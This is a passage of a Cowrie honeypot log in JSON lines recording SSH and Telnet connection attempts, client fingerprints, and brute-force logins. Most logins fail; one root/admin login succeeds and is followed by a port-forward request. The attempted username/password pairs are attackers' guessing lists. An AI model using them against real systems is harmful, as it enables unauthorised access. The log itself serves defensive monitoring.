af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:41.124722Z","src_ip":"103.91.246.101","session":"f3758415fca5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"tester1234","message":"login attempt [tester/tester1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:42.042933Z","src_ip":"103.91.246.101","session":"f3758415fca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:43.269962Z","src_ip":"103.91.246.101","session":"f3758415fca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":57728,"dst_ip":"10.17.0.5","dst_port":22,"session":"79a839f3fcc9","protocol":"ssh","message":"New connection: 80.94.92.186:57728 (10.17.0.5:22) [session: 79a839f3fcc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:45.860720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:45.985955Z","src_ip":"80.94.92.186","session":"79a839f3fcc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:45.995085Z","src_ip":"80.94.92.186","session":"79a839f3fcc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:47.188795Z","src_ip":"80.94.92.186","session":"79a839f3fcc9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:22:48.587427Z","src_ip":"80.94.92.186","session":"79a839f3fcc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":43986,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f8c3bb99964","protocol":"ssh","message":"New connection: 14.225.205.58:43986 (159.203.135.109:22) [session: 6f8c3bb99964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:33.512861Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:33.517114Z","src_ip":"14.225.205.58","session":"6f8c3bb99964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:33.770490Z","src_ip":"14.225.205.58","session":"6f8c3bb99964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svenserver","password":"svenserver","message":"login attempt [svenserver/svenserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:34.817572Z","src_ip":"14.225.205.58","session":"6f8c3bb99964","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:36.078603Z","src_ip":"14.225.205.58","session":"6f8c3bb99964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":49454,"dst_ip":"159.203.135.109","dst_port":22,"session":"40ea40e54e61","protocol":"ssh","message":"New connection: 103.91.246.101:49454 (159.203.135.109:22) [session: 40ea40e54e61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:39.441733Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:39.446558Z","src_ip":"103.91.246.101","session":"40ea40e54e61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:39.669240Z","src_ip":"103.91.246.101","session":"40ea40e54e61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123321","message":"login attempt [ubuntu/Aa123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:40.595054Z","src_ip":"103.91.246.101","session":"40ea40e54e61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:41.823467Z","src_ip":"103.91.246.101","session":"40ea40e54e61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.89.31.58","src_port":49278,"dst_ip":"159.203.135.109","dst_port":23,"session":"07a02e8fcfd8","protocol":"telnet","message":"New connection: 190.89.31.58:49278 (159.203.135.109:23) [session: 07a02e8fcfd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:23:59.533781Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":39446,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5b4c0a578f7","protocol":"ssh","message":"New connection: 101.47.159.125:39446 (159.203.135.109:22) [session: c5b4c0a578f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:01.233464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:01.239810Z","src_ip":"101.47.159.125","session":"c5b4c0a578f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:01.488540Z","src_ip":"101.47.159.125","session":"c5b4c0a578f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1234567a","message":"login attempt [ubuntu/1234567a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:02.506283Z","src_ip":"101.47.159.125","session":"c5b4c0a578f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:03.756212Z","src_ip":"101.47.159.125","session":"c5b4c0a578f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.54748821258545,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:14.081159Z","src_ip":"190.89.31.58","session":"07a02e8fcfd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.205.58","src_port":42074,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3675f31d9c6","protocol":"ssh","message":"New connection: 14.225.205.58:42074 (159.203.135.109:22) [session: d3675f31d9c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:40.776027Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:40.780718Z","src_ip":"14.225.205.58","session":"d3675f31d9c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:41.047502Z","src_ip":"14.225.205.58","session":"d3675f31d9c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ioana","message":"login attempt [admin/ioana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:42.145762Z","src_ip":"14.225.205.58","session":"d3675f31d9c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:43.414596Z","src_ip":"14.225.205.58","session":"d3675f31d9c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.91.246.101","src_port":57166,"dst_ip":"159.203.135.109","dst_port":22,"session":"a51ac06fd590","protocol":"ssh","message":"New connection: 103.91.246.101:57166 (159.203.135.109:22) [session: a51ac06fd590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:43.981815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:43.989475Z","src_ip":"103.91.246.101","session":"a51ac06fd590","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:44.213468Z","src_ip":"103.91.246.101","session":"a51ac06fd590","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"development","password":"development","message":"login attempt [development/development] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:45.143868Z","src_ip":"103.91.246.101","session":"a51ac06fd590","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:24:46.371296Z","src_ip":"103.91.246.101","session":"a51ac06fd590","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":21264,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bbdfb90d651","protocol":"ssh","message":"New connection: 31.57.216.40:21264 (10.17.0.5:22) [session: 4bbdfb90d651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:21.199631Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:21.204465Z","src_ip":"31.57.216.40","session":"4bbdfb90d651","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.57.216.40","src_port":21280,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b001874a7a3","protocol":"ssh","message":"New connection: 31.57.216.40:21280 (10.17.0.5:22) [session: 4b001874a7a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:21.351947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:21.357219Z","src_ip":"31.57.216.40","session":"4b001874a7a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:21.461237Z","src_ip":"31.57.216.40","session":"4b001874a7a3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:21.815375Z","src_ip":"31.57.216.40","session":"4b001874a7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"31.57.216.40","dst_port":80,"src_ip":"31.57.216.40","src_port":5555,"message":"direct-tcp connection request to 31.57.216.40:80 from 127.0.0.1:5555","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:21.929353Z","session":"4b001874a7a3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"31.57.216.40","dst_port":80,"data":"b'Doxt5mD5CCayJk8ADHbJUBFuWg2gs00vYoFhUFOJjzUFlYgEbI'","id":0,"message":"discarded direct-tcp forward request 0 to 31.57.216.40:80 with data b'Doxt5mD5CCayJk8ADHbJUBFuWg2gs00vYoFhUFOJjzUFlYgEbI'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:22.034409Z","src_ip":"31.57.216.40","session":"4b001874a7a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:22.140843Z","src_ip":"31.57.216.40","session":"4b001874a7a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15014,"dst_ip":"10.17.0.5","dst_port":22,"session":"3304e79c7122","protocol":"ssh","message":"New connection: 87.251.64.176:15014 (10.17.0.5:22) [session: 3304e79c7122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:23.688622Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T08:25:23.692774Z","src_ip":"87.251.64.176","session":"3304e79c7122","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hel